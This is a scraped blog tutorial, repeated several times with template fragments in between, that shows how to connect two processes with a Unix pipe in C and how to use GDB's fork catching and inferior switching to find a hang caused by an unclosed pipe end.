  <li>loads the pre-built programs to the processes</li>
  <li>prints the finish sentence</li>
</ol>

<p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>

<p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
./first /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Here is the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c
</code></pre></div></div>

<p>And this the output of pipe in terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c
</code></pre></div></div>

<p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>

<p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>

<p>To fix the problem, let’s move on to second version.</p>

<h3 id="the-second-version">The second version</h3>

<p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>

<p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>

<p>Compile and run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
./second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>We will find the program <strong>never</strong> finishes!</p>

<p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>

<p>Compile the program again with debug information and use GDB to execute the program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
</code></pre></div></div>

<p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>

<p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);
</code></pre></div></div>

<p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n
</code></pre></div></div>

<p>This means the first program finishes successfully, but the second one suspends and never returns!</p>

<p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>

<p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
Catchpoint 1 (fork)
</code></pre></div></div>

<p>Next, go to the fork statement at line 84.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147
</code></pre></div></div>

<p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>

<p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second
</code></pre></div></div>

<p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>

<p>Let’s switch to first program (inferior 2) and let it finish.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]
</code></pre></div></div>

<p>Now only two inferiors are left.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    &lt;null&gt;            /bin/ls           
  1    process 6127      second 
</code></pre></div></div>

<p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

</code></pre></div></div>

<p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
</code></pre></div></div>

<p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>

<p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
</code></pre></div></div>

<p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>

<h3 id="the-third-version">The third version</h3>

<p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>

<p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>

<p>Now let’s test the program again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
./third /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>And here is the result on my machine,</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
first.c
second.c
third
third.c
Run two programs succeeded!
</code></pre></div></div>

<p>which is the same as the result of terminal.</p>

<h3 id="conclusion">Conclusion</h3>

<p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>

<p>We learnt</p>

<ul>
  <li>C and Unix skills
    <ul>
      <li>pipe</li>
      <li>fork</li>
      <li>waitpid</li>
      <li>dup</li>
    </ul>
  </li>
  <li>GDB skills
    <ul>
      <li>catch</li>
      <li>inferior</li>
    </ul>
  </li>
</ul>


                <hr>

                <ul class="pager">
                    
                    <li class="previous">
                        <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                    </li>
                    
                    
                    <li class="next">
                        <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                    </li>
                    
                </ul>

                
                <!-- disqus 评论框 start -->
                <div class="comment">
                    <div id="disqus_thread" class="disqus-thread"></div>
                </div>
                <!-- disqus 评论框 end -->
                

            </div>

    <!-- Sidebar Container -->
    <!--
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                sidebar-container" id="toc">
            </div>
    -->
        </div>
    </div>
</article>


<!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
<script type="text/javascript">
    /* * * CONFIGURATION VARIABLES * * */
    var disqus_shortname = "pufan-jiangs-blog";
    var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
    var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";

    (function() {
        var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
        dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
    })();
</script>
<!-- disqus 公共JS代码 end -->

 start -->
		<div>
			<header>
				<h1>Blog with Jekyll for beginners</h1>
				<p>Feb 10, 2017</p>
			</header>
		
			<article>
				<!-- Post Header -->
<header class="intro-header" >
    <div class="container">
        <div class="row">
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                <div class="post-heading">
                    <div class="tags">
                        
                        <a class="tag" href="/tags/#c" title="c">c</a>
                        
                        <a class="tag" href="/tags/#unix" title="unix">unix</a>
                        
                        <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                        
                        <a class="tag" href="/tags/#system" title="system">system</a>
                        
                    </div>
                    <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                    
                    
                    <h2 class="subheading"></h2>
                    
                    <span class="meta">Posted on February 3, 2017</span>
                    <span class="meta">Updated on February 3, 2017</span>
                </div>
            </div>
        </div>
    </div>
</header>

<!-- Post Content -->
<article>
    <div class="container">
        <div class="row">

    <!-- Post Container -->
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                post-container">

				<p>In this article, we’ll walk through a simple example showing</p>

<ul>
  <li>how to use unix pipe for inter-process communication</li>
  <li>how to debug a program of three processes using GDB</li>
</ul>

<!-- excerpt -->
<hr />
<hr />

<h3 id="pre-requists">Pre-requists</h3>

<ul>
  <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
  <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
  <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
  <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
</ul>

<h3 id="the-problem">The problem</h3>

<p>The problem is to</p>

<ol>
  <li>load two pre-built programs</li>
  <li>stream the output of the first program to the second one</li>
  <li>print the result of the second program</li>
  <li>print a finish sentence when both programs finish</li>
</ol>

<p>For example, we want to mimic the action of such bash command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
</code></pre></div></div>

<h3 id="the-first-version">The first version</h3>

<p>Our very first version almost works, it</p>

<ol>
  <li>sets up a pipe for later inter-process communication</li>
  <li>forks two processes</li>
  <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
  <li>loads the pre-built programs to the processes</li>
  <li>prints the finish sentence</li>
</ol>

<p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>

<p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
./first /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Here is the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c
</code></pre></div></div>

<p>And this the output of pipe in terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c
</code></pre></div></div>

<p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>

<p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>

<p>To fix the problem, let’s move on to second version.</p>

<h3 id="the-second-version">The second version</h3>

<p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>

<p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>

<p>Compile and run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
./second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>We will find the program <strong>never</strong> finishes!</p>

<p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>

<p>Compile the program again with debug information and use GDB to execute the program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
</code></pre></div></div>

<p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>

<p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
Breakpoint 1 at 0x400b27: file second.c, line 105.
(gdb) r
...
Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
105			waitpid(pid1, NULL, 0);
</code></pre></div></div>

<p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
106			waitpid(pid2, NULL, 0);
(gdb) n
</code></pre></div></div>

<p>This means the first program finishes successfully, but the second one suspends and never returns!</p>

<p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>

<p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
Catchpoint 1 (fork)
</code></pre></div></div>

<p>Next, go to the fork statement at line 84.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
Starting program: second /bin/ls /usr/bin/sort

Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
(gdb) c
Continuing.
[New process 6134]

Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
(gdb) finish
Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
[New process 6147]
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $1 = 6147
</code></pre></div></div>

<p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>

<p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
  2    process 6134      second 
* 1    process 6127      second
</code></pre></div></div>

<p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>

<p>Let’s switch to first program (inferior 2) and let it finish.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
...
(gdb) c
Continuing.
process 6134 is executing new program: /bin/ls
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
[Inferior 2 (process 6134) exited normally]
</code></pre></div></div>

<p>Now only two inferiors are left.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
  Num  Description       Executable        
  3    process 6147      second 
* 2    &lt;null&gt;            /bin/ls           
  1    process 6127      second 
</code></pre></div></div>

<p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
...
(gdb) finish
Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
Value returned is $2 = 0
(gdb) n
88		    	if (-1 == close(pipefd[1])) {
(gdb) n
94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
(gdb) n
98		    	run(program2);
(gdb) n

</code></pre></div></div>

<p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) shell ls -l /proc/6147/fd
total 0
lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
</code></pre></div></div>

<p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>

<p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
[Switching to inferior 1 [process 6127] (second)]
[Switching to thread 1 (process 6127)] 
#0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
84		else if (0 == (pid2 = fork()))
(gdb) c
Continuing.
^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
(gdb) shell ls -l /proc/6127/fd
total 0
lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
</code></pre></div></div>

<p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>

<h3 id="the-third-version">The third version</h3>

<p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>

<p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>

<p>Now let’s test the program again.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
./third /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>And here is the result on my machine,</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
first.c
second.c
third
third.c
Run two programs succeeded!
</code></pre></div></div>

<p>which is the same as the result of terminal.</p>

<h3 id="conclusion">Conclusion</h3>

<p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>

<p>We learnt</p>

<ul>
  <li>C and Unix skills
    <ul>
      <li>pipe</li>
      <li>fork</li>
      <li>waitpid</li>
      <li>dup</li>
    </ul>
  </li>
  <li>GDB skills
    <ul>
      <li>catch</li>
      <li>inferior</li>
    </ul>
  </li>
</ul>


                <hr>

                <ul class="pager">
                    
                    <li class="previous">
                        <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                    </li>
                    
                    
                    <li class="next">
                        <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                    </li>
                    
                </ul>

                
                <!-- disqus 评论框 start -->
                <div class="comment">
                    <div id="disqus_thread" class="disqus-thread"></div>
                </div>
                <!-- disqus 评论框 end -->
                

            </div>

    <!-- Sidebar Container -->
    <!--
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                sidebar-container" id="toc">
            </div>
    -->
        </div>
    </div>
</article>


<!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
<script type="text/javascript">
    /* * * CONFIGURATION VARIABLES * * */
    var disqus_shortname = "pufan-jiangs-blog";
    var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
    var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";

    (function() {
        var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
        dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
    })();
</script>
<!-- disqus 公共JS代码 end -->


			</article>
		</div>
		<!-- Replace <!-- Post Header -->
<header class="intro-header" >
    <div class="container">
        <div class="row">
            <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                <div class="post-heading">
                    <div class="tags">
                        
                        <a class="tag" href="/tags/#c" title="c">c</a>
                        
                        <a class="tag" href="/tags/#unix" title="unix">unix</a>
                        
                        <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                        
                        <a class="tag" href="/tags/#system" title="system">system</a>
                        
                    </div>
                    <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                    
                    
                    <h2 class="subheading"></h2>
                    
                    <span class="meta">Posted on February 3, 2017</span>
                    <span class="meta">Updated on February 3, 2017</span>
                </div>
            </div>
        </div>
    </div>
</header>

<!-- Post Content -->
<article>
    <div class="container">
        <div class="row">

    <!-- Post Container -->
            <div class="
                col-lg-8 col-lg-offset-2
                col-md-10 col-md-offset-1
                post-container">

				<p>In this article, we’ll walk through a simple example showing</p>

<ul>
  <li>how to use unix pipe for inter-process communication</li>
  <li>how to debug a program of three processes using GDB</li>
</ul>

<!-- excerpt -->
<hr />
<hr />

<h3 id="pre-requists">Pre-requists</h3>

<ul>
  <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
  <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
  <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
  <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
</ul>

<h3 id="the-problem">The problem</h3>

<p>The problem is to</p>

<ol>
  <li>load two pre-built programs</li>
  <li>stream the output of the first program to the second one</li>
  <li>print the result of the second program</li>
  <li>print a finish sentence when both programs finish</li>
</ol>

<p>For example, we want to mimic the action of such bash command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
</code></pre></div></div>

<h3 id="the-first-version">The first version</h3>

<p>Our very first version almost works, it</p>

<ol>
  <li>sets up a pipe for later inter-process communication</li>
  <li>forks two processes</li>
  <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
  <li>loads the pre-built programs to the processes</li>
  <li>prints the finish sentence</li>
</ol>

<p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>

<p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
./first /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>Here is the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
README.md                                                                                                                                                                            
a.out
first
first.c
</code></pre></div></div>

<p>And this the output of pipe in terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 

README.md
a.out
first
first.c
</code></pre></div></div>

<p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>

<p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>

<p>To fix the problem, let’s move on to second version.</p>

<h3 id="the-second-version">The second version</h3>

<p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>

<p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>

<p>Compile and run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
./second /bin/ls /usr/bin/sort
</code></pre></div></div>

<p>We will find the program <strong>never</strong> finishes!</p>

<p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>

<p>Compile the program again with debug information and use GDB to execute the program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
gdb --args second /bin/ls /usr/bin/sort
</code></pre></div></div>

